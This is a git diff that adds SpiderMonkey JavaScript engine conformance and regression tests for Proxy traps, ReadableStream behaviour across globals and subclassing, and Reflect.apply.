+p = new Proxy(targetThrowIsExtensible, { setPrototypeOf() { return true; } });
+assertThrowsValue(() => Reflect.setPrototypeOf(p, Object.prototype),
+ "psych!");
+
+// 11. If extensibleTarget is true, return true.
+
+var targ = {};
+
+p = new Proxy(targ, { setPrototypeOf() { return true; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return /x/; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return Infinity; } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+p = new Proxy(targ, { setPrototypeOf() { return Symbol(true); } });
+assertEq(Reflect.setPrototypeOf(p, /x/), true);
+assertEq(Reflect.getPrototypeOf(targ), Object.prototype);
+assertEq(Reflect.getPrototypeOf(p), Object.prototype);
+
+// 12. Let targetProto be ? target.[[GetPrototypeOf]]().
+
+var targetNotExtensibleGetProtoThrows =
+ new Proxy(Object.preventExtensions({}),
+ { getPrototypeOf() { throw NaN; } });
+
+p = new Proxy(targetNotExtensibleGetProtoThrows,
+ { setPrototypeOf() { log.push("goober"); return true; } });
+
+log.length = 0;
+assertThrowsValue(() => Reflect.setPrototypeOf(p, /abcd/),
+ NaN);
+
+// 13. If SameValue(V, targetProto) is false, throw a TypeError exception.
+
+var newProto;
+
+p = new Proxy(Object.preventExtensions(Object.create(Math)),
+ { setPrototypeOf(t, p) { return true; } });
+
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(p, null),
+ TypeError);
+
+// 14. Return true.
+
+assertEq(Reflect.setPrototypeOf(p, Math), true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Proxy/shell.js b/js/src/tests/non262/Proxy/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Proxy/shell.js
diff --git a/js/src/tests/non262/Proxy/trap-null.js b/js/src/tests/non262/Proxy/trap-null.js
new file mode 100644
index 0000000000..703649e7c8
--- /dev/null
+++ b/js/src/tests/non262/Proxy/trap-null.js
@@ -0,0 +1,103 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'trap-null.js';
+var BUGNUMBER = 1257102;
+var summary = "null as a trap value on a handler should operate on the target";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// This might seem like overkill, but this proxying trick caught typos of
+// several trap names before this test landed. \o/ /o\
+var allTraps = {
+ getPrototypeOf: null,
+ setPrototypeOf: null,
+ isExtensible: null,
+ preventExtensions: null,
+ getOwnPropertyDescriptor: null,
+ defineProperty: null,
+ has: null,
+ get: null,
+ set: null,
+ deleteProperty: null,
+ ownKeys: null,
+ apply: null,
+ construct: null,
+};
+
+var complainingHandler = new Proxy(allTraps, {
+ get(target, p, receiver) {
+ var v = Reflect.get(target, p, receiver);
+ if (v !== null)
+ throw new TypeError("failed to set one of the traps to null? " + p);
+
+ return v;
+ }
+});
+
+var proxyTarget = function(x) {
+ "use strict";
+ var str = this + x;
+ str += new.target ? "constructing" : "calling";
+ return new.target ? new String(str) : str;
+};
+proxyTarget.prototype.toString = () => "###";
+proxyTarget.prototype.valueOf = () => "@@@";
+
+var proxy = new Proxy(proxyTarget, complainingHandler);
+
+assertEq(Reflect.getPrototypeOf(proxy), Function.prototype);
+
+assertEq(Object.getPrototypeOf(proxyTarget), Function.prototype);
+assertEq(Reflect.setPrototypeOf(proxy, null), true);
+assertEq(Object.getPrototypeOf(proxyTarget), null);
+
+assertEq(Reflect.isExtensible(proxy), true);
+
+assertEq(Reflect.isExtensible(proxyTarget), true);
+assertEq(Reflect.preventExtensions(proxy), true);
+assertEq(Reflect.isExtensible(proxy), false);
+assertEq(Reflect.isExtensible(proxyTarget), false);
+
+var desc = Reflect.getOwnPropertyDescriptor(proxy, "length");
+assertEq(desc.value, 1);
+
+assertEq(desc.configurable, true);
+assertEq(Reflect.defineProperty(proxy, "length", { value: 3, configurable: false }), true);
+desc = Reflect.getOwnPropertyDescriptor(proxy, "length");
+assertEq(desc.configurable, false);
+
+assertEq(Reflect.has(proxy, "length"), true);
+
+assertEq(Reflect.get(proxy, "length"), 3);
+
+assertEq(Reflect.set(proxy, "length", 3), false);
+
+assertEq(Reflect.deleteProperty(proxy, "length"), false);
+
+var keys = Reflect.ownKeys(proxy);
+assertEq(keys.length, 3);
+keys.sort();
+assertEq(keys[0], "length");
+assertEq(keys[1], "name");
+assertEq(keys[2], "prototype");
+
+assertEq(Reflect.apply(proxy, "hi!", [" "]), "hi! calling");
+
+var res = Reflect.construct(proxy, [" - "]);
+assertEq(typeof res, "object");
+assertEq(res instanceof String, true);
+assertEq(res.valueOf(), "@@@ - constructing");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/ReadableStream/basic-pull.js b/js/src/tests/non262/ReadableStream/basic-pull.js
new file mode 100644
index 0000000000..760937c67a
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/basic-pull.js
@@ -0,0 +1,37 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+// Example of a stream that produces data on demand, the "pull" model.
+let fibStream = new ReadableStream({
+ start(controller) {
+ this.a = 0;
+ this.b = 1;
+ controller.enqueue(0);
+ controller.enqueue(1);
+ },
+
+ pull(controller) {
+ [this.a, this.b] = [this.b, this.a + this.b];
+ controller.enqueue(this.b);
+ }
+});
+
+async function test() {
+ assertEq(fibStream.locked, false);
+ let reader = fibStream.getReader();
+ assertEq(fibStream.locked, true);
+
+ let results = [];
+ while (results.length < 10) {
+ results.push((await reader.read()).value);
+ }
+
+ assertEq(results.join(), "0,1,1,2,3,5,8,13,21,34");
+ reader.releaseLock();
+ assertEq(fibStream.locked, false);
+}
+
+runAsyncTest(test);
diff --git a/js/src/tests/non262/ReadableStream/basic-push.js b/js/src/tests/non262/ReadableStream/basic-push.js
new file mode 100644
index 0000000000..65bb29880d
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/basic-push.js
@@ -0,0 +1,53 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+// Example of a stream that enqueues data asynchronously, whether the reader
+// wants it or not, the "push" model.
+let fbStream = new ReadableStream({
+ start(controller) {
+ simulatePacketsDriftingIn(controller);
+ },
+});
+
+async function simulatePacketsDriftingIn(controller) {
+ for (let i = 1; i <= 30; i++) {
+ let importantData =
+ (i % 15 == 0 ? "FizzBuzz" :
+ i % 5 == 0 ? "Buzz":
+ i % 3 == 0 ? "Fizz" :
+ String(i));
+ controller.enqueue(importantData);
+ await asyncSleep(1 + i % 7);
+ }
+ controller.close();
+}
+
+const expected = [
+ "1", "2", "Fizz", "4", "Buzz", "Fizz", "7", "8", "Fizz", "Buzz",
+ "11", "Fizz", "13", "14", "FizzBuzz", "16", "17", "Fizz", "19", "Buzz",
+ "Fizz", "22", "23", "Fizz", "Buzz", "26", "Fizz", "28", "29", "FizzBuzz"
+];
+
+async function test() {
+ assertEq(fbStream.locked, false);
+ let reader = fbStream.getReader();
+ assertEq(fbStream.locked, true);
+
+ let results = [];
+ while (true) {
+ let r = await reader.read();
+ if (r.done) {
+ break;
+ }
+ results.push(r.value);
+ }
+
+ assertEq(results.join("-"), expected.join("-"));
+ reader.releaseLock();
+ assertEq(fbStream.locked, false);
+}
+
+runAsyncTest(test);
diff --git a/js/src/tests/non262/ReadableStream/bug-1501502.js b/js/src/tests/non262/ReadableStream/bug-1501502.js
new file mode 100644
index 0000000000..e23b21e863
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/bug-1501502.js
@@ -0,0 +1,24 @@
+// A stream can become errored with an exception from another realm.
+
+let g = newGlobal();
+let g_enqueue;
+new g.ReadableStream({
+ start(controller) {
+ g_enqueue = controller.enqueue;
+ },
+});
+
+let controller;
+let stream = new ReadableStream({
+ start(c) {
+ controller = c;
+ }
+}, {
+ size(chunk) {}
+});
+
+assertThrowsInstanceOf(() => g_enqueue.call(controller, {}), g.RangeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
+
diff --git a/js/src/tests/non262/ReadableStream/bug-1549768.js b/js/src/tests/non262/ReadableStream/bug-1549768.js
new file mode 100644
index 0000000000..808aa9c0b1
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/bug-1549768.js
@@ -0,0 +1,16 @@
+var otherGlobal = newGlobal({newCompartment: true});
+var obj = { start(c) {} };
+var Cancel = otherGlobal.ReadableStream.prototype.tee.call(new ReadableStream(obj))[0].cancel;
+
+var stream = new ReadableStream(obj);
+var [branch1, branch2] = ReadableStream.prototype.tee.call(stream);
+
+Cancel.call(branch1, {});
+
+gczeal(2, 1);
+
+Cancel.call(branch2, {});
+
+if (typeof reportCompare === 'function') {
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/ReadableStream/closed-is-handled.js b/js/src/tests/non262/ReadableStream/closed-is-handled.js
new file mode 100644
index 0000000000..276cfbbaff
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/closed-is-handled.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+
+// 3.5.6. ReadableStreamError ( stream, e ) nothrow
+//
+// 9. Reject reader.[[closedPromise]] with e.
+// 10. Set reader.[[closedPromise]].[[PromiseIsHandled]] to true.
+//
+// Rejection for [[closedPromise]] shouldn't be reported as unhandled.
+
+const rs = new ReadableStream({
+ start() {
+ return Promise.reject(new Error("test"));
+ }
+});
+
+let rejected = false;
+rs.getReader().read().then(() => {}, () => { rejected = true; });
+
+drainJobQueue();
+
+assertEq(rejected, true);
+
+if (typeof reportCompare === 'function') {
+ reportCompare(0, 0);
+}
+
+// Shell itself reports unhandled rejection if there's any.
diff --git a/js/src/tests/non262/ReadableStream/constructor-default.js b/js/src/tests/non262/ReadableStream/constructor-default.js
new file mode 100644
index 0000000000..bf95658801
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/constructor-default.js
@@ -0,0 +1,25 @@
+// The second argument to `new ReadableStream` defaults to `{}`, so it observes
+// properties hacked onto Object.prototype.
+
+let log = [];
+
+Object.defineProperty(Object.prototype, "size", {
+ configurable: true,
+ get() {
+ log.push("size");
+ log.push(this);
+ return undefined;
+ }
+});
+Object.prototype.highWaterMark = 1337;
+
+let s = new ReadableStream({
+ start(controller) {
+ log.push("start");
+ log.push(controller.desiredSize);
+ }
+});
+assertDeepEq(log, ["size", {}, "start", 1337]);
+
+if (typeof reportCompare == "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/ReadableStream/readable-stream-globals.js b/js/src/tests/non262/ReadableStream/readable-stream-globals.js
new file mode 100644
index 0000000000..37e73d5cbf
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/readable-stream-globals.js
@@ -0,0 +1,367 @@
+// |reftest| skip-if(!this.hasOwnProperty("ReadableStream"))
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+async function test() {
+ if (typeof newGlobal !== 'undefined') {
+ otherGlobal = newGlobal();
+ }
+
+ OtherReadableStream = otherGlobal.ReadableStream;
+
+ ReadableStreamReader = new ReadableStream().getReader().constructor;
+ OtherReadableStreamReader = new otherGlobal.ReadableStream().getReader().constructor;
+
+ let byteStreamsSupported = false;
+ try {
+ let controller;
+ let reader = new ReadableStream({
+ start(c) {
+ ByteStreamController = c.constructor;
+ controller = c;
+ },
+ type: "bytes"
+ }).getReader({ mode: "byob" })
+ ReadableStreamBYOBReader = reader.constructor;
+ reader.read(new Uint8Array(10));
+ BYOBRequest = controller.byobRequest.constructor;
+ reader = new otherGlobal.ReadableStream({
+ start(c) {
+ OtherByteStreamController = c.constructor;
+ controller = c;
+ },
+ type: "bytes"
+ }).getReader({ mode: "byob" });
+ OtherReadableStreamBYOBReader = reader.constructor;
+ reader.read(new Uint8Array(10));
+ OtherBYOBRequest = controller.byobRequest.constructor;
+
+ BYOBRequestGetter = Object.getOwnPropertyDescriptor(ByteStreamController.prototype,
+ "byobRequest").get;
+ OtherBYOBRequestGetter = Object.getOwnPropertyDescriptor(OtherByteStreamController.prototype,
+ "byobRequest").get;
+
+ byteStreamsSupported = true;
+ } catch (e) {
+ }
+
+ let chunk = { name: "chunk" };
+ let enqueuedError = { name: "enqueuedError" };
+
+ let controller;
+ let stream;
+ let otherStream;
+ let otherController;
+ let reader;
+ let otherReader;
+
+ function getFreshInstances(type, otherType = type) {
+ stream = new ReadableStream({ start(c) { controller = c; }, type });
+
+ otherStream = new OtherReadableStream({ start(c) { otherController = c; }, type: otherType });
+ }
+
+ getFreshInstances();
+
+ Controller = controller.constructor;
+ OtherController = otherController.constructor;
+
+
+ otherReader = OtherReadableStream.prototype.getReader.call(stream);
+ assertEq(otherReader instanceof ReadableStreamReader, false);
+ assertEq(otherReader instanceof OtherReadableStreamReader, true);
+ assertEq(otherController instanceof Controller, false);
+
+ assertEq(stream.locked, true);
+ Object.defineProperty(stream, "locked",
+ Object.getOwnPropertyDescriptor(OtherReadableStream.prototype, "locked"));
+ assertEq(stream.locked, true);
+
+
+ request = otherReader.read();
+ assertEq(request instanceof otherGlobal.Promise, true);
+ controller.close();
+ assertEq(await request instanceof Object, true);
+
+ getFreshInstances();
+ otherReader = new OtherReadableStreamReader(stream);
+
+ getFreshInstances();
+ otherReader = new OtherReadableStreamReader(stream);
+ let cancelSucceeded = false;
+ let cancelPromise = ReadableStreamReader.prototype.cancel.call(otherReader);
+ assertEq(cancelPromise instanceof Promise, true);
+ assertEq(await cancelPromise, undefined);
+
+ getFreshInstances();
+ otherReader = new OtherReadableStreamReader(stream);
+ let closeSucceeded = false;
+ Object.defineProperty(otherReader, "closed",
+ Object.getOwnPropertyDescriptor(ReadableStreamReader.prototype, "closed"));
+ let closedPromise = otherReader.closed;
+ assertEq(closedPromise instanceof otherGlobal.Promise, true);
+ controller.close();
+ assertEq(await closedPromise, undefined);
+
+ getFreshInstances();
+
+ otherReader = OtherReadableStream.prototype.getReader.call(stream);
+ request = otherReader.read();
+ assertEq(request instanceof otherGlobal.Promise, true);
+ otherController.close.call(controller);
+ assertEq(await request instanceof otherGlobal.Object, true);
+
+ getFreshInstances();
+
+ assertEq(controller.desiredSize, 1);
+ Object.defineProperty(controller, "desiredSize",
+ Object.getOwnPropertyDescriptor(OtherController.prototype, "desiredSize"));
+ assertEq(controller.desiredSize, 1);
+
+
+ request = otherReader.read();
+
+ controller.error(enqueuedError);
+
+ expectException(() => controller.close(), TypeError);
+ expectException(() => otherController.close.call(controller), otherGlobal.TypeError);
+
+ otherReader.releaseLock();
+
+ reader = stream.getReader();
+ assertEq(await expectAsyncException(async () => reader.read(), enqueuedError.constructor),
+ enqueuedError);
+
+ otherReader.releaseLock.call(reader);
+ assertEq(reader.closed instanceof otherGlobal.Promise, true);
+
+ // getFreshInstances();
+
+ // reader = stream.getReader();
+ // request = otherReader.read.call(reader);
+ // assertEq(request instanceof otherGlobal.Promise, true);
+ // controller.enqueue(chunk);
+ // assertEq((await request).value, chunk);
+
+ // reader.releaseLock();
+
+ // getFreshInstances();
+
+ // reader = stream.getReader();
+ // request = otherReader.read.call(reader);
+ // otherController.enqueue.call(controller, chunk);
+ // otherController.enqueue.call(controller, new otherGlobal.Uint8Array(10));
+ // controller.enqueue(new otherGlobal.Uint8Array(10));
+ // request = otherReader.read.call(reader);
+
+ getFreshInstances();
+
+ stream = new ReadableStream({ start(c) { controller = c; } }, { size() {return 1} });
+ otherController.enqueue.call(controller, chunk);
+ otherController.enqueue.call(controller, new otherGlobal.Uint8Array(10));
+ controller.enqueue(new otherGlobal.Uint8Array(10));
+
+ getFreshInstances();
+
+ controller.close();
+ expectException(() => controller.enqueue(new otherGlobal.Uint8Array(10)), TypeError);
+ expectException(() => otherController.enqueue.call(controller, chunk), otherGlobal.TypeError);
+ expectException(() => otherController.enqueue.call(controller, new otherGlobal.Uint8Array(10)),
+ otherGlobal.TypeError);
+
+ getFreshInstances();
+
+ let [branch1, branch2] = otherGlobal.ReadableStream.prototype.tee.call(stream);
+ assertEq(branch1 instanceof otherGlobal.ReadableStream, true);
+ assertEq(branch2 instanceof otherGlobal.ReadableStream, true);
+
+ controller.enqueue(chunk);
+ reader = branch1.getReader();
+ result = await reader.read();
+ reader.releaseLock();
+ let subPromiseCreated = false;
+ let speciesInvoked = false;
+ class SubPromise extends Promise {
+ constructor(executor) {
+ super(executor);
+ subPromiseCreated = true;
+ }
+ }
+ Object.defineProperty(Promise, Symbol.species, {get: function() {
+ speciesInvoked = true;
+ return SubPromise;
+ }
+ });
+
+ otherGlobal.eval(`
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ class OtherSubPromise extends Promise {
+ constructor(executor) {
+ super(executor);
+ subPromiseCreated = true;
+ }
+ }
+ Object.defineProperty(Promise, Symbol.species, {get: function() {
+ speciesInvoked = true;
+ return OtherSubPromise;
+ }
+ });`);
+
+ controller.error(enqueuedError);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ let cancelPromise1 = branch1.cancel({ name: "cancel 1" });
+ assertEq(cancelPromise1 instanceof otherGlobal.Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ let cancelPromise2 = branch2.cancel({ name: "cancel 2" });
+ assertEq(cancelPromise2 instanceof otherGlobal.Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+ await 1;
+
+
+ getFreshInstances();
+
+ [branch1, branch2] = otherGlobal.ReadableStream.prototype.tee.call(stream);
+ assertEq(branch1 instanceof otherGlobal.ReadableStream, true);
+ assertEq(branch2 instanceof otherGlobal.ReadableStream, true);
+
+ controller.enqueue(chunk);
+ reader = branch1.getReader();
+ result = await reader.read();
+ reader.releaseLock();
+
+
+ assertEq(result.value, chunk);
+
+ controller.error(enqueuedError);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ cancelPromise1 = ReadableStream.prototype.cancel.call(branch1, { name: "cancel 1" });
+ assertEq(cancelPromise1 instanceof Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+ subPromiseCreated = false;
+ speciesInvoked = false;
+ otherGlobal.subPromiseCreated = false;
+ otherGlobal.speciesInvoked = false;
+ cancelPromise2 = ReadableStream.prototype.cancel.call(branch2, { name: "cancel 2" });
+ assertEq(cancelPromise2 instanceof Promise, true);
+ assertEq(subPromiseCreated, false);
+ assertEq(speciesInvoked, false);
+ assertEq(otherGlobal.subPromiseCreated, false);
+ assertEq(otherGlobal.speciesInvoked, false);
+
+ if (!byteStreamsSupported) {
+ return;
+ }
+
+ if (typeof nukeCCW === 'function') {
+ getFreshInstances("bytes");
+ assertEq(otherController instanceof OtherByteStreamController, true);
+ reader = ReadableStream.prototype.getReader.call(otherStream);
+ otherGlobal.reader = reader;
+ otherGlobal.nukeCCW(otherGlobal.reader);
+ let chunk = new Uint8Array(10);
+ expectException(() => otherController.enqueue(chunk), otherGlobal.TypeError);
+ // otherController.error();
+ expectException(() => reader.read(), TypeError);
+ }
+
+ function testBYOBRequest(controller, view) {
+ const request = new BYOBRequest(controller, view);
+ let storedView = request.view;
+ assertEq(storedView, view);
+ storedView = Object.getOwnPropertyDescriptor(OtherBYOBRequest.prototype, "view").get.call(request);
+ assertEq(storedView, view);
+ request.respond(10);
+ OtherBYOBRequest.prototype.respond.call(request, 10);
+ request.respondWithNewView(new view.constructor(10));
+ OtherBYOBRequest.prototype.respondWithNewView.call(request, new view.constructor(10));
+ }
+
+ expectException(() => new BYOBRequest(), TypeError);
+ getFreshInstances("bytes");
+ expectException(() => new BYOBRequest(controller, new Uint8Array(10)), TypeError);
+ expectException(() => new BYOBRequest(otherController, new Uint8Array(10)), TypeError);
+ expectException(() => new BYOBRequest(otherController, new Uint8Array(10)), TypeError);
+ expectException(() => new BYOBRequest(otherController, new otherGlobal.Uint8Array(10)), TypeError);
+
+ getFreshInstances("bytes");
+
+ reader = stream.getReader({ mode: "byob" });
+ request = OtherReadableStreamBYOBReader.prototype.read.call(reader, new Uint8Array(10));
+ assertEq(request instanceof otherGlobal.Promise, true);
+ controller.enqueue(new Uint8Array([1, 2, 3, 4]));
+ result = await request;
+
+ getFreshInstances("bytes");
+
+ reader = stream.getReader({ mode: "byob" });
+ request = OtherReadableStreamBYOBReader.prototype.read.call(reader, new Uint8Array(10));
+ assertEq(request instanceof otherGlobal.Promise, true);
+ try {
+ let byobRequest = OtherBYOBRequestGetter.call(controller);
+ } catch (e) {
+ print(e, '\n', e.stack);
+ }
+ controller.enqueue(new Uint8Array([1, 2, 3, 4]));
+ result = await request;
+
+ await 1;
+}
+
+function expectException(closure, errorType) {
+ let error;
+ try {
+ closure();
+ } catch (e) {
+ error = e;
+ }
+ assertEq(error !== undefined, true);
+ assertEq(error.constructor, errorType);
+ return error;
+}
+
+async function expectAsyncException(closure, errorType) {
+ let error;
+ try {
+ await closure();
+ } catch (e) {
+ error = e;
+ }
+ assertEq(error !== undefined, true);
+ assertEq(error.constructor, errorType);
+ return error;
+}
+
+async function runTest() {
+ try {
+ await test();
+ } catch (e) {
+ assertEq(false, true, `Unexpected exception ${e}\n${e.stack}`);
+ }
+ console.log("done");
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+}
+
+runTest();
diff --git a/js/src/tests/non262/ReadableStream/shell.js b/js/src/tests/non262/ReadableStream/shell.js
new file mode 100644
index 0000000000..7e83ed2934
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/shell.js
@@ -0,0 +1,30 @@
+// Return a promise that will resolve to `undefined` the next time jobs are
+// processed.
+//
+// `ticks` indicates how long the promise should "wait" before resolving: a
+// promise created with `asyncSleep(n)` will become settled and fire its handlers
+// before a promise created with `asyncSleep(n+1)`.
+//
+function asyncSleep(ticks) {
+ let p = Promise.resolve();
+ if (ticks > 0) {
+ return p.then(() => asyncSleep(ticks - 1));
+ }
+ return p;
+}
+
+// Run the async function `test`. Wait for it to finish running. Throw if it
+// throws or if it fails to finish (awaiting a value forever).
+function runAsyncTest(test) {
+ let passed = false;
+ let problem = "test did not finish";
+ test()
+ .then(_ => { passed = true; })
+ .catch(exc => { problem = exc; });
+ drainJobQueue();
+ if (!passed) {
+ throw problem;
+ }
+
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/ReadableStream/subclassing.js b/js/src/tests/non262/ReadableStream/subclassing.js
new file mode 100644
index 0000000000..c1ab7d4413
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/subclassing.js
@@ -0,0 +1,111 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+if ("ignoreUnhandledRejections" in this) {
+ ignoreUnhandledRejections();
+}
+
+// Spot-check subclassing of stream constructors.
+
+// ReadableStream can be subclassed.
+class PartyStreamer extends ReadableStream {}
+
+// The base class constructor is called.
+let started = false;
+let stream = new PartyStreamer({
+ // (The ReadableStream constructor calls this start method.)
+ start(c) { started = true; }
+});
+drainJobQueue();
+assertEq(started, true);
+
+// The instance's prototype chain is correct.
+assertEq(stream.__proto__, PartyStreamer.prototype);
+assertEq(stream.__proto__.__proto__, ReadableStream.prototype);
+assertEq(stream.__proto__.__proto__.__proto__, Object.prototype);
+assertEq(stream.__proto__.__proto__.__proto__.__proto__, null);
+assertEq(stream instanceof ReadableStream, true);
+
+// Non-generic methods can be called on the resulting stream.
+let reader = stream.getReader();
+assertEq(stream.locked, true);
+
+
+// CountQueuingStrategy can be subclassed.
+class PixelStrategy extends CountQueuingStrategy {}
+assertEq(new PixelStrategy({highWaterMark: 4}).__proto__, PixelStrategy.prototype);
+
+// The base class constructor is called.
+assertThrowsInstanceOf(() => new PixelStrategy, TypeError);
+assertEq(new PixelStrategy({highWaterMark: -1}).highWaterMark, -1);
+
+
+// VerySmartStrategy can be subclassed.
+class VerySmartStrategy extends ByteLengthQueuingStrategy {
+ size(chunk) {
+ return super.size(chunk) * 8;
+ }
+}
+let vss = new VerySmartStrategy({highWaterMark: 12});
+assertEq(vss.size(new ArrayBuffer(8)), 64);
+assertEq(vss.__proto__, VerySmartStrategy.prototype);
+
+
+// Even ReadableStreamDefaultReader can be subclassed.
+async function readerTest() {
+ const ReadableStreamDefaultReader = new ReadableStream().getReader().constructor;
+ class MindReader extends ReadableStreamDefaultReader {
+ async read() {
+ let foretold = {value: "death", done: false};
+ let actual = await super.read();
+ actual = foretold; // ZOMG I WAS RIGHT, EXACTLY AS FORETOLD they should call me a righter
+ return actual;
+ }
+ }
+
+ let stream = new ReadableStream({
+ start(c) { c.enqueue("one"); c.enqueue("two"); },
+ pull(c) { c.close(); }
+ });
+ let reader = new MindReader(stream);
+ let result = await reader.read();
+ assertEq(result.value, "death");
+ reader.releaseLock();
+
+ reader = stream.getReader();
+ result = await reader.read();
+ assertEq(result.done, false);
+ assertEq(result.value, "two");
+ result = await reader.read();
+ assertEq(result.done, true);
+ assertEq(result.value, undefined);
+}
+runAsyncTest(readerTest);
+
+
+// Even ReadableStreamDefaultController, which can't be constructed,
+// can be subclassed.
+let ReadableStreamDefaultController;
+new ReadableStream({
+ start(c) {
+ ReadableStreamDefaultController = c.constructor;
+ }
+});
+class MasterController extends ReadableStreamDefaultController {
+ constructor() {
+ // don't call super, it'll just throw
+ return Object.create(MasterController.prototype);
+ }
+}
+let c = new MasterController();
+
+// The prototype chain is per spec.
+assertEq(c instanceof ReadableStreamDefaultController, true);
+
+// But the instance does not have the internal slots of a
+// ReadableStreamDefaultController, so the non-generic methods can't be used.
+assertThrowsInstanceOf(() => c.enqueue("horse"), TypeError);
+
+
+if (typeof reportCompare === 'function') {
+ reportCompare(0, 0);
+}
diff --git a/js/src/tests/non262/ReadableStream/tee-start.js b/js/src/tests/non262/ReadableStream/tee-start.js
new file mode 100644
index 0000000000..dbb6b1142d
--- /dev/null
+++ b/js/src/tests/non262/ReadableStream/tee-start.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.ReadableStream||!this.drainJobQueue)
+// stream.tee() shouldn't try to call a .start() method.
+
+Object.prototype.start = function () { throw "FAIL"; };
+let source = Object.create(null);
+new ReadableStream(source).tee();
+
+drainJobQueue();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/apply.js b/js/src/tests/non262/Reflect/apply.js
new file mode 100644
index 0000000000..fbd9db2a4b
--- /dev/null
+++ b/js/src/tests/non262/Reflect/apply.js
@@ -0,0 +1,130 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.apply calls functions.
+assertEq(Reflect.apply(Math.floor, undefined, [1.75]), 1);
+
+// Reflect.apply requires a target object that's callable.
+var nonCallable = [{}, [], (class clsX { constructor() {} })];
+for (var value of nonCallable) {
+ assertThrowsInstanceOf(() => Reflect.apply(nonCallable), TypeError);
+}
+
+// When target is not callable, Reflect.apply does not try to get argumentList.length before throwing.
+var hits = 0;
+var bogusArgumentList = {get length() { hit++; throw "FAIL";}};
+assertThrowsInstanceOf(() => Reflect.apply({callable: false}, null, bogusArgumentList),
+ TypeError);
+assertEq(hits, 0);
+
+// Reflect.apply works on a range of different callable objects.
+// Builtin functions (we also tested Math.floor above):
+assertEq(Reflect.apply(String.fromCharCode,
+ undefined,
+ [104, 101, 108, 108, 111]),
+ "hello");
+
+// Builtin methods:
+assertEq(Reflect.apply(RegExp.prototype.exec,
+ /ab/,
+ ["confabulation"]).index,
+ 4);
+
+// Builtin methods of primitive objects:
+assertEq(Reflect.apply("".charAt,
+ "ponies",
+ [3]),
+ "i");
+
+// Bound functions:
+assertEq(Reflect.apply(function () { return this; }.bind(Math),
+ Function,
+ []),
+ Math);
+assertEq(Reflect.apply(Array.prototype.concat.bind([1, 2], [3]),
+ [4, 5],
+ [[6, 7, 8]]).join(),
+ "1,2,3,6,7,8");
+
+// Generator functions:
+function* g(arg) { yield "pass" + arg; }
+assertEq(Reflect.apply(g,
+ undefined,
+ ["word"]).next().value,
+ "password");
+
+// Proxies:
+function f() { return 13; }
+assertEq(Reflect.apply(new Proxy(f, {}),
+ undefined,
+ []),
+ 13);
+
+// Cross-compartment wrappers:
+var gw = newGlobal();
+assertEq(Reflect.apply(gw.parseInt,
+ undefined,
+ ["45"]),
+ 45);
+assertEq(Reflect.apply(gw.Symbol.for,
+ undefined,
+ ["moon"]),
+ Symbol.for("moon"));
+
